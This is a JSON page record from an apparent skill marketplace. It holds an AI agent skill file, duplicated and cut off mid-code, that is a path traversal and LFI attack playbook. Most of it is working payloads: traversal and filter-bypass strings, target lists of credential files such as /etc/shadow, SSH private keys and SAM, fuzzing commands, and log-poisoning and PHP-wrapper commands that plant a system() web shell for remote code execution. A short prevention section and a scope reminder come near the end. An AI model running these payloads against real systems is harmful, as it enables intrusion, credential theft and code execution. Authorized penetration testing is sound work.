[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6G4DP8ATWBYD8YYTYAGD61P":3,"skill-same:01M6G4DP8ATWBYD8YYTYAGD61P":70},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":39,"linkOnly":40,"markdownContent":41,"markdownBody":42,"frontMatter":43,"refName":48,"commitSha":49,"skillDirectory":50,"forksCount":14,"repositoryHtmlUrl":51,"repositoryHomepageUrl":6,"ownerHtmlUrl":52,"ownerBlogUrl":53,"ownerDescription":54,"updatedAt":55,"install":56,"resources":69},"01M6G4DP8ATWBYD8YYTYAGD61P","file-path-traversal",null,"This skill should be used when the user asks to \"test for directory traversal\", \"exploit path traversal vulnerabilities\", \"read arbitrary files through web applications\", \"find LFI vu...","reikiplanet\u002Fdaoskills","reikiplanet","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F96377599?v=4","01M6CVWCMD740YHQDK7E9QYBW4","Reiki Planet","01M6CVWCS4KXVA2CWFVJ43EAXK",0,"MIT","https:\u002F\u002Fgithub.com\u002Freikiplanet\u002Fdaoskills\u002Fblob\u002Fmaster\u002Fskills\u002Fother\u002Ffile-path-traversal\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",[24,25,26,27,28,29,30,31,32,33,34,35,36,37,38],"file","path traversal","file path traversal","directory","vulnerabilities","test","web","applications","lfi","find","read","user","exploit","files","community","2026-11-10 10:12:30",false,"---\nname: file-path-traversal\ndescription: \"This skill should be used when the user asks to \\\"test for directory traversal\\\", \\\"exploit path traversal vulnerabilities\\\", \\\"read arbitrary files through web applications\\\", \\\"find LFI vu...\"\nmetadata:\n  author: zebbern\n  version: \"1.1\"\nrisk: unknown\nsource: community\n---\n\n# File Path Traversal Testing\n\n## Purpose\n\nIdentify and exploit file path traversal (directory traversal) vulnerabilities that allow attackers to read arbitrary files on the server, potentially including sensitive configuration files, credentials, and source code. This vulnerability occurs when user-controllable input is passed to filesystem APIs without proper validation.\n\n## Prerequisites\n\n### Required Tools\n- Web browser with developer tools\n- Burp Suite or OWASP ZAP\n- cURL for testing payloads\n- Wordlists for automation\n- ffuf or wfuzz for fuzzing\n\n### Required Knowledge\n- HTTP request\u002Fresponse structure\n- Linux and Windows filesystem layout\n- Web application architecture\n- Basic understanding of file APIs\n\n## Outputs and Deliverables\n\n1. **Vulnerability Report** - Identified traversal points and severity\n2. **Exploitation Proof** - Extracted file contents\n3. **Impact Assessment** - Accessible files and data exposure\n4. **Remediation Guidance** - Secure coding recommendations\n\n## Core Workflow\n\n### Phase 1: Understanding Path Traversal\n\nPath traversal occurs when applications use user input to construct file paths:\n\n```php\n\u002F\u002F Vulnerable PHP code example\n$template = \"blue.php\";\nif (isset($_COOKIE['template']) && !empty($_COOKIE['template'])) {\n    $template = $_COOKIE['template'];\n}\ninclude(\"\u002Fhome\u002Fuser\u002Ftemplates\u002F\" . $template);\n```\n\nAttack principle:\n- `..\u002F` sequence moves up one directory\n- Chain multiple sequences to reach root\n- Access files outside intended directory\n\nImpact:\n- **Confidentiality** - Read sensitive files\n- **Integrity** - Write\u002Fmodify files (in some cases)\n- **Availability** - Delete files (in some cases)\n- **Code Execution** - If combined with file upload or log poisoning\n\n### Phase 2: Identifying Traversal Points\n\nMap application for potential file operations:\n\n```bash\n# Parameters that often handle files\n?file=\n?path=\n?page=\n?template=\n?filename=\n?doc=\n?document=\n?folder=\n?dir=\n?include=\n?src=\n?source=\n?content=\n?view=\n?download=\n?load=\n?read=\n?retrieve=\n```\n\nCommon vulnerable functionality:\n- Image loading: `\u002Fimage?filename=23.jpg`\n- Template selection: `?template=blue.php`\n- File downloads: `\u002Fdownload?file=report.pdf`\n- Document viewers: `\u002Fview?doc=manual.pdf`\n- Include mechanisms: `?page=about`\n\n### Phase 3: Basic Exploitation Techniques\n\n#### Simple Path Traversal\n\n```bash\n# Basic Linux traversal\n..\u002F..\u002F..\u002Fetc\u002Fpasswd\n..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\n..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\n..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\n\n# Windows traversal\n..\\..\\..\\windows\\win.ini\n..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts\n\n# URL encoded\n..%2F..%2F..%2Fetc%2Fpasswd\n..%252F..%252F..%252Fetc%252Fpasswd  # Double encoding\n\n# Test payloads with curl\ncurl \"http:\u002F\u002Ftarget.com\u002Fimage?filename=..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fdownload?file=....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\"\n```\n\n#### Absolute Path Injection\n\n```bash\n# Direct absolute path (Linux)\n\u002Fetc\u002Fpasswd\n\u002Fetc\u002Fshadow\n\u002Fetc\u002Fhosts\n\u002Fproc\u002Fself\u002Fenviron\n\n# Direct absolute path (Windows)\nC:\\windows\\win.ini\nC:\\windows\\system32\\drivers\\etc\\hosts\nC:\\boot.ini\n```\n\n### Phase 4: Bypass Techniques\n\n#### Bypass Stripped Traversal Sequences\n\n```bash\n# When ..\u002F is stripped once\n....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\n....\\\u002F....\\\u002F....\\\u002Fetc\u002Fpasswd\n\n# Nested traversal\n...\u002F.\u002F...\u002F.\u002F...\u002F.\u002Fetc\u002Fpasswd\n....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\n\n# Mixed encoding\n..%2f..%2f..%2fetc\u002Fpasswd\n%2e%2e\u002F%2e%2e\u002F%2e%2e\u002Fetc\u002Fpasswd\n%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd\n```\n\n#### Bypass Extension Validation\n\n```bash\n# Null byte injection (older PHP versions)\n..\u002F..\u002F..\u002Fetc\u002Fpasswd%00.jpg\n..\u002F..\u002F..\u002Fetc\u002Fpasswd%00.png\n\n# Path truncation\n..\u002F..\u002F..\u002Fetc\u002Fpasswd...............................\n\n# Double extension\n..\u002F..\u002F..\u002Fetc\u002Fpasswd.jpg.php\n```\n\n#### Bypass Base Directory Validation\n\n```bash\n# When path must start with expected directory\n\u002Fvar\u002Fwww\u002Fimages\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\n\n# Expected path followed by traversal\nimages\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\n```\n\n#### Bypass Blacklist Filters\n\n```bash\n# Unicode\u002FUTF-8 encoding\n..%c0%af..%c0%af..%c0%afetc\u002Fpasswd\n..%c1%9c..%c1%9c..%c1%9cetc\u002Fpasswd\n\n# Overlong UTF-8 encoding\n%c0%2e%c0%2e%c0%af\n\n# URL encoding variations\n%2e%2e\u002F\n%2e%2e%5c\n..%5c\n..%255c\n\n# Case variations (Windows)\n....\\\\....\\\\etc\\\\passwd\n```\n\n### Phase 5: Linux Target Files\n\nHigh-value files to target:\n\n```bash\n# System files\n\u002Fetc\u002Fpasswd           # User accounts\n\u002Fetc\u002Fshadow           # Password hashes (root only)\n\u002Fetc\u002Fgroup            # Group information\n\u002Fetc\u002Fhosts            # Host mappings\n\u002Fetc\u002Fhostname         # System hostname\n\u002Fetc\u002Fissue            # System banner\n\n# SSH files\n\u002Froot\u002F.ssh\u002Fid_rsa           # Root private key\n\u002Froot\u002F.ssh\u002Fauthorized_keys  # Authorized keys\n\u002Fhome\u002F\u003Cuser>\u002F.ssh\u002Fid_rsa    # User private keys\n\u002Fetc\u002Fssh\u002Fsshd_config        # SSH configuration\n\n# Web server files\n\u002Fetc\u002Fapache2\u002Fapache2.conf\n\u002Fetc\u002Fnginx\u002Fnginx.conf\n\u002Fetc\u002Fapache2\u002Fsites-enabled\u002F000-default.conf\n\u002Fvar\u002Flog\u002Fapache2\u002Faccess.log\n\u002Fvar\u002Flog\u002Fapache2\u002Ferror.log\n\u002Fvar\u002Flog\u002Fnginx\u002Faccess.log\n\n# Application files\n\u002Fvar\u002Fwww\u002Fhtml\u002Fconfig.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-config.php\n\u002Fvar\u002Fwww\u002Fhtml\u002F.htaccess\n\u002Fvar\u002Fwww\u002Fhtml\u002Fweb.config\n\n# Process information\n\u002Fproc\u002Fself\u002Fenviron      # Environment variables\n\u002Fproc\u002Fself\u002Fcmdline      # Process command line\n\u002Fproc\u002Fself\u002Ffd\u002F0         # File descriptors\n\u002Fproc\u002Fversion           # Kernel version\n\n# Common application configs\n\u002Fetc\u002Fmysql\u002Fmy.cnf\n\u002Fetc\u002Fpostgresql\u002F*\u002Fpostgresql.conf\n\u002Fopt\u002Flampp\u002Fetc\u002Fhttpd.conf\n```\n\n### Phase 6: Windows Target Files\n\nWindows-specific targets:\n\n```bash\n# System files\nC:\\windows\\win.ini\nC:\\windows\\system.ini\nC:\\boot.ini\nC:\\windows\\system32\\drivers\\etc\\hosts\nC:\\windows\\system32\\config\\SAM\nC:\\windows\\repair\\SAM\n\n# IIS files\nC:\\inetpub\\wwwroot\\web.config\nC:\\inetpub\\logs\\LogFiles\\W3SVC1\\\n\n# Configuration files\nC:\\xampp\\apache\\conf\\httpd.conf\nC:\\xampp\\mysql\\data\\mysql\\user.MYD\nC:\\xampp\\passwords.txt\nC:\\xampp\\phpmyadmin\\config.inc.php\n\n# User files\nC:\\Users\\\u003Cuser>\\.ssh\\id_rsa\nC:\\Users\\\u003Cuser>\\Desktop\\\nC:\\Documents and Settings\\\u003Cuser>\\\n```\n\n### Phase 7: Automated Testing\n\n#### Using Burp Suite\n\n```\n1. Capture request with file parameter\n2. Send to Intruder\n3. Mark file parameter value as payload position\n4. Load path traversal wordlist\n5. Start attack\n6. Filter responses by size\u002Fcontent for success\n```\n\n#### Using ffuf\n\n```bash\n# Basic traversal fuzzing\nffuf -u \"http:\u002F\u002Ftarget.com\u002Fimage?filename=FUZZ\" \\\n     -w \u002Fusr\u002Fshare\u002Fwordlists\u002Ftraversal.txt \\\n     -mc 200\n\n# Fuzzing with encoding\nffuf -u \"http:\u002F\u002Ftarget.com\u002Fpage?file=FUZZ\" \\\n     -w \u002Fusr\u002Fshare\u002Fseclists\u002FFuzzing\u002FLFI\u002FLFI-Jhaddix.txt \\\n     -mc 200,500 -ac\n```\n\n#### Using wfuzz\n\n```bash\n# Traverse to \u002Fetc\u002Fpasswd\nwfuzz -c -z file,\u002Fusr\u002Fshare\u002Fseclists\u002FFuzzing\u002FLFI\u002FLFI-Jhaddix.txt \\\n      --hc 404 \\\n      \"http:\u002F\u002Ftarget.com\u002Findex.php?file=FUZZ\"\n\n# With headers\u002Fcookies\nwfuzz -c -z file,traversal.txt \\\n      -H \"Cookie: session=abc123\" \\\n      \"http:\u002F\u002Ftarget.com\u002Fload?path=FUZZ\"\n```\n\n### Phase 8: LFI to RCE Escalation\n\n#### Log Poisoning\n\n```bash\n# Inject PHP code into logs\ncurl -A \"\u003C?php system(\\$_GET['cmd']); ?>\" http:\u002F\u002Ftarget.com\u002F\n\n# Include Apache log file\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?file=..\u002F..\u002F..\u002Fvar\u002Flog\u002Fapache2\u002Faccess.log&cmd=id\"\n\n# Include auth.log (SSH)\n# First: ssh '\u003C?php system($_GET[\"cmd\"]); ?>'@target.com\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?file=..\u002F..\u002F..\u002Fvar\u002Flog\u002Fauth.log&cmd=whoami\"\n```\n\n#### Proc\u002Fself\u002Fenviron\n\n```bash\n# Inject via User-Agent\ncurl -A \"\u003C?php system('id'); ?>\" \\\n     \"http:\u002F\u002Ftarget.com\u002Fpage?file=\u002Fproc\u002Fself\u002Fenviron\"\n\n# With command parameter\ncurl -A \"\u003C?php system(\\$_GET['c']); ?>\" \\\n     \"http:\u002F\u002Ftarget.com\u002Fpage?file=\u002Fproc\u002Fself\u002Fenviron&c=whoami\"\n```\n\n#### PHP Wrapper Exploitation\n\n```bash\n# php:\u002F\u002Ffilter - Read source code as base64\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?file=php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=config.php\"\n\n# php:\u002F\u002Finput - Execute POST data as PHP\ncurl -X POST -d \"\u003C?php system('id'); ?>\" \\\n     \"http:\u002F\u002Ftarget.com\u002Fpage?file=php:\u002F\u002Finput\"\n\n# data:\u002F\u002F - Execute inline PHP\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?file=data:\u002F\u002Ftext\u002Fplain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA\u002FPg==&c=id\"\n\n# expect:\u002F\u002F - Execute system commands\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?file=expect:\u002F\u002Fid\"\n```\n\n### Phase 9: Testing Methodology\n\nStructured testing approach:\n\n```bash\n# Step 1: Identify potential parameters\n# Look for file-related functionality\n\n# Step 2: Test basic traversal\n..\u002F..\u002F..\u002Fetc\u002Fpasswd\n\n# Step 3: Test encoding variations\n..%2F..%2F..%2Fetc%2Fpasswd\n%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd\n\n# Step 4: Test bypass techniques\n....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\n..;\u002F..;\u002F..;\u002Fetc\u002Fpasswd\n\n# Step 5: Test absolute paths\n\u002Fetc\u002Fpasswd\n\n# Step 6: Test with null bytes (legacy)\n..\u002F..\u002F..\u002Fetc\u002Fpasswd%00.jpg\n\n# Step 7: Attempt wrapper exploitation\nphp:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=index.php\n\n# Step 8: Attempt log poisoning for RCE\n```\n\n### Phase 10: Prevention Measures\n\nSecure coding practices:\n\n```php\n\u002F\u002F PHP: Use basename() to strip paths\n$filename = basename($_GET['file']);\n$path = \"\u002Fvar\u002Fwww\u002Ffiles\u002F\" . $filename;\n\n\u002F\u002F PHP: Validate against whitelist\n$allowed = ['report.pdf', 'manual.pdf', 'guide.pdf'];\nif (in_array($_GET['file'], $allowed)) {\n    include(\"\u002Fvar\u002Fwww\u002Ffiles\u002F\" . $_GET['file']);\n}\n\n\u002F\u002F PHP: Canonicalize and verify base path\n$base = \"\u002Fvar\u002Fwww\u002Ffiles\u002F\";\n$realBase = realpath($base);\n$userPath = $base . $_GET['file'];\n$realUserPath = realpath($userPath);\n\nif ($realUserPath && strpos($realUserPath, $realBase) === 0) {\n    include($realUserPath);\n}\n```\n\n```python\n# Python: Use os.path.realpath() and validate\nimport os\n\ndef safe_file_access(base_dir, filename):\n    # Resolve to absolute path\n    base = os.path.realpath(base_dir)\n    file_path = os.path.realpath(os.path.join(base, filename))\n    \n    # Verify file is within base directory\n    if file_path.startswith(base):\n        return open(file_path, 'r').read()\n    else:\n        raise Exception(\"Access denied\")\n```\n\n## Quick Reference\n\n### Common Payloads\n\n| Payload | Target |\n|---------|--------|\n| `..\u002F..\u002F..\u002Fetc\u002Fpasswd` | Linux password file |\n| `..\\..\\..\\..\\windows\\win.ini` | Windows INI file |\n| `....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd` | Bypass simple filter |\n| `\u002Fetc\u002Fpasswd` | Absolute path |\n| `php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=config.php` | Source code |\n\n### Target Files\n\n| OS | File | Purpose |\n|----|------|---------|\n| Linux | `\u002Fetc\u002Fpasswd` | User accounts |\n| Linux | `\u002Fetc\u002Fshadow` | Password hashes |\n| Linux | `\u002Fproc\u002Fself\u002Fenviron` | Environment vars |\n| Windows | `C:\\windows\\win.ini` | System config |\n| Windows | `C:\\boot.ini` | Boot config |\n| Web | `wp-config.php` | WordPress DB creds |\n\n### Encoding Variants\n\n| Type | Example |\n|------|---------|\n| URL Encoding | `%2e%2e%2f` = `..\u002F` |\n| Double Encoding | `%252e%252e%252f` = `..\u002F` |\n| Unicode | `%c0%af` = `\u002F` |\n| Null Byte | `%00` |\n\n## Constraints and Limitations\n\n### Permission Restrictions\n- Cannot read files application user cannot access\n- Shadow file requires root privileges\n- Many files have restrictive permissions\n\n### Application Restrictions\n- Extension validation may limit file types\n- Base path validation may restrict scope\n- WAF may block common payloads\n\n### Testing Considerations\n- Respect authorized scope\n- Avoid accessing genuinely sensitive data\n- Document all successful access\n\n## Troubleshooting\n\n| Problem | Solutions |\n|---------|-----------|\n| No response difference | Try encoding, blind traversal, different files |\n| Payload blocked | Use encoding variants, nested sequences, case variations |\n| Cannot escalate to RCE | Check logs, PHP wrappers, file upload, session poisoning |\n\n## When to Use\nThis skill is applicable to execute the workflow or actions described in the overview.\n","# File Path Traversal Testing\n\n## Purpose\n\nIdentify and exploit file path traversal (directory traversal) vulnerabilities that allow attackers to read arbitrary files on the server, potentially including sensitive configuration files, credentials, and source code. This vulnerability occurs when user-controllable input is passed to filesystem APIs without proper validation.\n\n## Prerequisites\n\n### Required Tools\n- Web browser with developer tools\n- Burp Suite or OWASP ZAP\n- cURL for testing payloads\n- Wordlists for automation\n- ffuf or wfuzz for fuzzing\n\n### Required Knowledge\n- HTTP request\u002Fresponse structure\n- Linux and Windows filesystem layout\n- Web application architecture\n- Basic understanding of file APIs\n\n## Outputs and Deliverables\n\n1. **Vulnerability Report** - Identified traversal points and severity\n2. **Exploitation Proof** - Extracted file contents\n3. **Impact Assessment** - Accessible files and data exposure\n4. **Remediation Guidance** - Secure coding recommendations\n\n## Core Workflow\n\n### Phase 1: Understanding Path Traversal\n\nPath traversal occurs when applications use user input to construct file paths:\n\n```php\n\u002F\u002F Vulnerable PHP code example\n$template = \"blue.php\";\nif (isset($_COOKIE['template']) && !empty($_COOKIE['template'])) {\n    $template = $_COOKIE['template'];\n}\ninclude(\"\u002Fhome\u002Fuser\u002Ftemplates\u002F\" . $template);\n```\n\nAttack principle:\n- `..\u002F` sequence moves up one directory\n- Chain multiple sequences to reach root\n- Access files outside intended directory\n\nImpact:\n- **Confidentiality** - Read sensitive files\n- **Integrity** - Write\u002Fmodify files (in some cases)\n- **Availability** - Delete files (in some cases)\n- **Code Execution** - If combined with file upload or log poisoning\n\n### Phase 2: Identifying Traversal Points\n\nMap application for potential file operations:\n\n```bash\n# Parameters that often handle files\n?file=\n?path=\n?page=\n?template=\n?filename=\n?doc=\n?document=\n?folder=\n?dir=\n?include=\n?src=\n?source=\n?content=\n?view=\n?download=\n?load=\n?read=\n?retrieve=\n```\n\nCommon vulnerable functionality:\n- Image loading: `\u002Fimage?filename=23.jpg`\n- Template selection: `?template=blue.php`\n- File downloads: `\u002Fdownload?file=report.pdf`\n- Document viewers: `\u002Fview?doc=manual.pdf`\n- Include mechanisms: `?page=about`\n\n### Phase 3: Basic Exploitation Techniques\n\n#### Simple Path Traversal\n\n```bash\n# Basic Linux traversal\n..\u002F..\u002F..\u002Fetc\u002Fpasswd\n..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\n..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\n..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\n\n# Windows traversal\n..\\..\\..\\windows\\win.ini\n..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts\n\n# URL encoded\n..%2F..%2F..%2Fetc%2Fpasswd\n..%252F..%252F..%252Fetc%252Fpasswd  # Double encoding\n\n# Test payloads with curl\ncurl \"http:\u002F\u002Ftarget.com\u002Fimage?filename=..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fdownload?file=....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\"\n```\n\n#### Absolute Path Injection\n\n```bash\n# Direct absolute path (Linux)\n\u002Fetc\u002Fpasswd\n\u002Fetc\u002Fshadow\n\u002Fetc\u002Fhosts\n\u002Fproc\u002Fself\u002Fenviron\n\n# Direct absolute path (Windows)\nC:\\windows\\win.ini\nC:\\windows\\system32\\drivers\\etc\\hosts\nC:\\boot.ini\n```\n\n### Phase 4: Bypass Techniques\n\n#### Bypass Stripped Traversal Sequences\n\n```bash\n# When ..\u002F is stripped once\n....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\n....\\\u002F....\\\u002F....\\\u002Fetc\u002Fpasswd\n\n# Nested traversal\n...\u002F.\u002F...\u002F.\u002F...\u002F.\u002Fetc\u002Fpasswd\n....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\n\n# Mixed encoding\n..%2f..%2f..%2fetc\u002Fpasswd\n%2e%2e\u002F%2e%2e\u002F%2e%2e\u002Fetc\u002Fpasswd\n%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd\n```\n\n#### Bypass Extension Validation\n\n```bash\n# Null byte injection (older PHP versions)\n..\u002F..\u002F..\u002Fetc\u002Fpasswd%00.jpg\n..\u002F..\u002F..\u002Fetc\u002Fpasswd%00.png\n\n# Path truncation\n..\u002F..\u002F..\u002Fetc\u002Fpasswd...............................\n\n# Double extension\n..\u002F..\u002F..\u002Fetc\u002Fpasswd.jpg.php\n```\n\n#### Bypass Base Directory Validation\n\n```bash\n# When path must start with expected directory\n\u002Fvar\u002Fwww\u002Fimages\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\n\n# Expected path followed by traversal\nimages\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\n```\n\n#### Bypass Blacklist Filters\n\n```bash\n# Unicode\u002FUTF-8 encoding\n..%c0%af..%c0%af..%c0%afetc\u002Fpasswd\n..%c1%9c..%c1%9c..%c1%9cetc\u002Fpasswd\n\n# Overlong UTF-8 encoding\n%c0%2e%c0%2e%c0%af\n\n# URL encoding variations\n%2e%2e\u002F\n%2e%2e%5c\n..%5c\n..%255c\n\n# Case variations (Windows)\n....\\\\....\\\\etc\\\\passwd\n```\n\n### Phase 5: Linux Target Files\n\nHigh-value files to target:\n\n```bash\n# System files\n\u002Fetc\u002Fpasswd           # User accounts\n\u002Fetc\u002Fshadow           # Password hashes (root only)\n\u002Fetc\u002Fgroup            # Group information\n\u002Fetc\u002Fhosts            # Host mappings\n\u002Fetc\u002Fhostname         # System hostname\n\u002Fetc\u002Fissue            # System banner\n\n# SSH files\n\u002Froot\u002F.ssh\u002Fid_rsa           # Root private key\n\u002Froot\u002F.ssh\u002Fauthorized_keys  # Authorized keys\n\u002Fhome\u002F\u003Cuser>\u002F.ssh\u002Fid_rsa    # User private keys\n\u002Fetc\u002Fssh\u002Fsshd_config        # SSH configuration\n\n# Web server files\n\u002Fetc\u002Fapache2\u002Fapache2.conf\n\u002Fetc\u002Fnginx\u002Fnginx.conf\n\u002Fetc\u002Fapache2\u002Fsites-enabled\u002F000-default.conf\n\u002Fvar\u002Flog\u002Fapache2\u002Faccess.log\n\u002Fvar\u002Flog\u002Fapache2\u002Ferror.log\n\u002Fvar\u002Flog\u002Fnginx\u002Faccess.log\n\n# Application files\n\u002Fvar\u002Fwww\u002Fhtml\u002Fconfig.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-config.php\n\u002Fvar\u002Fwww\u002Fhtml\u002F.htaccess\n\u002Fvar\u002Fwww\u002Fhtml\u002Fweb.config\n\n# Process information\n\u002Fproc\u002Fself\u002Fenviron      # Environment variables\n\u002Fproc\u002Fself\u002Fcmdline      # Process command line\n\u002Fproc\u002Fself\u002Ffd\u002F0         # File descriptors\n\u002Fproc\u002Fversion           # Kernel version\n\n# Common application configs\n\u002Fetc\u002Fmysql\u002Fmy.cnf\n\u002Fetc\u002Fpostgresql\u002F*\u002Fpostgresql.conf\n\u002Fopt\u002Flampp\u002Fetc\u002Fhttpd.conf\n```\n\n### Phase 6: Windows Target Files\n\nWindows-specific targets:\n\n```bash\n# System files\nC:\\windows\\win.ini\nC:\\windows\\system.ini\nC:\\boot.ini\nC:\\windows\\system32\\drivers\\etc\\hosts\nC:\\windows\\system32\\config\\SAM\nC:\\windows\\repair\\SAM\n\n# IIS files\nC:\\inetpub\\wwwroot\\web.config\nC:\\inetpub\\logs\\LogFiles\\W3SVC1\\\n\n# Configuration files\nC:\\xampp\\apache\\conf\\httpd.conf\nC:\\xampp\\mysql\\data\\mysql\\user.MYD\nC:\\xampp\\passwords.txt\nC:\\xampp\\phpmyadmin\\config.inc.php\n\n# User files\nC:\\Users\\\u003Cuser>\\.ssh\\id_rsa\nC:\\Users\\\u003Cuser>\\Desktop\\\nC:\\Documents and Settings\\\u003Cuser>\\\n```\n\n### Phase 7: Automated Testing\n\n#### Using Burp Suite\n\n```\n1. Capture request with file parameter\n2. Send to Intruder\n3. Mark file parameter value as payload position\n4. Load path traversal wordlist\n5. Start attack\n6. Filter responses by size\u002Fcontent for success\n```\n\n#### Using ffuf\n\n```bash\n# Basic traversal fuzzing\nffuf -u \"http:\u002F\u002Ftarget.com\u002Fimage?filename=FUZZ\" \\\n     -w \u002Fusr\u002Fshare\u002Fwordlists\u002Ftraversal.txt \\\n     -mc 200\n\n# Fuzzing with encoding\nffuf -u \"http:\u002F\u002Ftarget.com\u002Fpage?file=FUZZ\" \\\n     -w \u002Fusr\u002Fshare\u002Fseclists\u002FFuzzing\u002FLFI\u002FLFI-Jhaddix.txt \\\n     -mc 200,500 -ac\n```\n\n#### Using wfuzz\n\n```bash\n# Traverse to \u002Fetc\u002Fpasswd\nwfuzz -c -z file,\u002Fusr\u002Fshare\u002Fseclists\u002FFuzzing\u002FLFI\u002FLFI-Jhaddix.txt \\\n      --hc 404 \\\n      \"http:\u002F\u002Ftarget.com\u002Findex.php?file=FUZZ\"\n\n# With headers\u002Fcookies\nwfuzz -c -z file,traversal.txt \\\n      -H \"Cookie: session=abc123\" \\\n      \"http:\u002F\u002Ftarget.com\u002Fload?path=FUZZ\"\n```\n\n### Phase 8: LFI to RCE Escalation\n\n#### Log Poisoning\n\n```bash\n# Inject PHP code into logs\ncurl -A \"\u003C?php system(\\$_GET['cmd']); ?>\" http:\u002F\u002Ftarget.com\u002F\n\n# Include Apache log file\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?file=..\u002F..\u002F..\u002Fvar\u002Flog\u002Fapache2\u002Faccess.log&cmd=id\"\n\n# Include auth.log (SSH)\n# First: ssh '\u003C?php system($_GET[\"cmd\"]); ?>'@target.com\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?file=..\u002F..\u002F..\u002Fvar\u002Flog\u002Fauth.log&cmd=whoami\"\n```\n\n#### Proc\u002Fself\u002Fenviron\n\n```bash\n# Inject via User-Agent\ncurl -A \"\u003C?php system('id'); ?>\" \\\n     \"http:\u002F\u002Ftarget.com\u002Fpage?file=\u002Fproc\u002Fself\u002Fenviron\"\n\n# With command parameter\ncurl -A \"\u003C?php system(\\$_GET['c']); ?>\" \\\n     \"http:\u002F\u002Ftarget.com\u002Fpage?file=\u002Fproc\u002Fself\u002Fenviron&c=whoami\"\n```\n\n#### PHP Wrapper Exploitation\n\n```bash\n# php:\u002F\u002Ffilter - Read source code as base64\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?file=php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=config.php\"\n\n# php:\u002F\u002Finput - Execute POST data as PHP\ncurl -X POST -d \"\u003C?php system('id'); ?>\" \\\n     \"http:\u002F\u002Ftarget.com\u002Fpage?file=php:\u002F\u002Finput\"\n\n# data:\u002F\u002F - Execute inline PHP\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?file=data:\u002F\u002Ftext\u002Fplain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA\u002FPg==&c=id\"\n\n# expect:\u002F\u002F - Execute system commands\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?file=expect:\u002F\u002Fid\"\n```\n\n### Phase 9: Testing Methodology\n\nStructured testing approach:\n\n```bash\n# Step 1: Identify potential parameters\n# Look for file-related functionality\n\n# Step 2: Test basic traversal\n..\u002F..\u002F..\u002Fetc\u002Fpasswd\n\n# Step 3: Test encoding variations\n..%2F..%2F..%2Fetc%2Fpasswd\n%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd\n\n# Step 4: Test bypass techniques\n....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\n..;\u002F..;\u002F..;\u002Fetc\u002Fpasswd\n\n# Step 5: Test absolute paths\n\u002Fetc\u002Fpasswd\n\n# Step 6: Test with null bytes (legacy)\n..\u002F..\u002F..\u002Fetc\u002Fpasswd%00.jpg\n\n# Step 7: Attempt wrapper exploitation\nphp:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=index.php\n\n# Step 8: Attempt log poisoning for RCE\n```\n\n### Phase 10: Prevention Measures\n\nSecure coding practices:\n\n```php\n\u002F\u002F PHP: Use basename() to strip paths\n$filename = basename($_GET['file']);\n$path = \"\u002Fvar\u002Fwww\u002Ffiles\u002F\" . $filename;\n\n\u002F\u002F PHP: Validate against whitelist\n$allowed = ['report.pdf', 'manual.pdf', 'guide.pdf'];\nif (in_array($_GET['file'], $allowed)) {\n    include(\"\u002Fvar\u002Fwww\u002Ffiles\u002F\" . $_GET['file']);\n}\n\n\u002F\u002F PHP: Canonicalize and verify base path\n$base = \"\u002Fvar\u002Fwww\u002Ffiles\u002F\";\n$realBase = 